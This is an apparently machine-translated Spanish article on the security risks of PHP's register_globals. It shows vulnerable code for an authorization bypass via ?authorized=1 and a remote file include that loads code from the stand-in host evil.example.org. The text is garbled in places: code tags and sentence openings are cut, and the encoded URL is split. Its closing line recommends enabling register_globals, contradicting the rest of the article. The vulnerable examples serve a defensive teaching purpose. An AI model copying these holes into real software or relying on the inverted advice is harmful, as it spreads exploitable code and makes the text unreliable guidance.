El parámetro Register_globals está deshabilitado de forma predeterminada en las versiones PHP 4.2.0 y superiores. Si bien esto no se considera una vulnerabilidad de seguridad, ciertamente es un riesgo de seguridad. Por lo tanto, Register_globals siempre debe estar enmascarado durante el desarrollo.
¿Por qué es esto un riesgo para la seguridad? Cada situación requiere una explicación separada para describirla claramente y es muy difícil dar solo un ejemplo apropiado para cada situación. De todos modos, el ejemplo más común se describe en el manual de PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/SENSITIVE/data.php';}? el parámetro Register_globals está activado, se puede acceder a esta página utilizando el parámetro? Authorized=1, evitando así el control de acceso. Por supuesto, esta aparente vulnerabilidad es el resultado de un desarrollo deficiente y no de un registro global, pero claramente aumenta el potencial de vulnerabilidades peligrosas. Al eliminar este efecto, las variables globales ordinarias (como $authorized en este ejemplo) ya no se verán afectadas por los datos enviados por el cliente. La mejor manera es inicializar todas las variables y establecer el parámetro error_reporting en E_ALL para que no se ignore el uso de variables no inicializadas durante el desarrollo.
Otro ejemplo sobre Register_globals es que pueden surgir problemas al usar include para incluir rutas dinámicas:
<?phpinclude "$path/script.php";?> Cuando el parámetro Register_globals está activado, esta página puede usar ?path=http%3A % El acceso al parámetro 2F%2Fevil.example.org%2F%3F hace que el código de este ejemplo sea equivalente al siguiente código:
<?phpinclude 'http://evil.example.org/?/script.php';? El parámetro enable_url_fopen está activado (está activado de forma predeterminada incluso en php.ini recomendado), esto incluirá archivos remotos como http://evil.example.org/ así como archivos locales. Esta es una vulnerabilidad de seguridad común que se encuentra incluso en algunos proyectos de código abierto muy famosos.
Inicializar $path puede evitar este peligro oculto sin proteger el parámetro Register_globals. Sin embargo, los errores del desarrollador pueden dar como resultado variables no inicializadas. Modificar la configuración global para bloquear el parámetro Register_globals puede evitar que este peligro oculto sea ignorado tanto como sea posible.
La comodidad siempre es buena. En el pasado teníamos que distinguir manualmente entre datos de formulario y variables ordinarias. También es muy conveniente utilizar las matrices globales integradas de $_POST y $_GET, y no vale la pena correr el riesgo causado por activar el parámetro Register_globals. Si bien no estoy de acuerdo en absoluto con que activar el parámetro Register_globals equivalga a una seguridad débil, recomiendo encarecidamente activarlo.
Cabe agregar que bloquear el parámetro Register_globals ayudará a los desarrolladores a prestar más atención a la fuente de datos, y esta es exactamente la cualidad que debe tener un desarrollador preocupado por la seguridad.